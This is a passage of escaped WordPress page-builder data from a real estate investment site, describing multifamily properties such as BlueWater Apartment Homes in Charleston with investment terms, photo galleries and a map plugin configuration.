_module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"post_link\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"%_wpgmp_location_city%\":\"Charleston\",\"%_wpgmp_location_state%\":\"South Carolina\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"32.8032885\",\"%_wpgmp_metabox_longitude%\":\"-80.1013495\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_8 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_12 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_24  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_17 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10684\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_18 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10685\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_19 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03-980x787.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03-480x385.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10686\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_20 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04-980x652.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10687\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_21 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05-980x652.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10688\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_22 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06-980x652.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10689\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_23 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10690\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_24 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10691\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_25 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10692\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_26 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10693\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_27 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10694\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_28 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10695\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_29 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10696\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_30 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg 740w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14-480x720.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 740px, 100vw\" class=\"wp-image-10697\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_9 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_13 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_25  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_2 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">BlueWater Apartment Homes at Boltonu2019s Landing<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_36  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Charleston, South Carolina<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_14 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_26  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_37  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_38  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$25K<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_27  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_39  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_40  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Monthly<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_28  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_41  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_42  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">23.8%<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_29  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_43  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_44  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">5 Years<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_30  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_45  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_46  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Multifamily<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_31  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_47  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_48  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_15 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_32  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_49  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>n350-unit, Bluewater at Bolton&#8217;s Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_33  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_50 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_51 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$28,000,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_10 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_16\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_34  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_52  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div 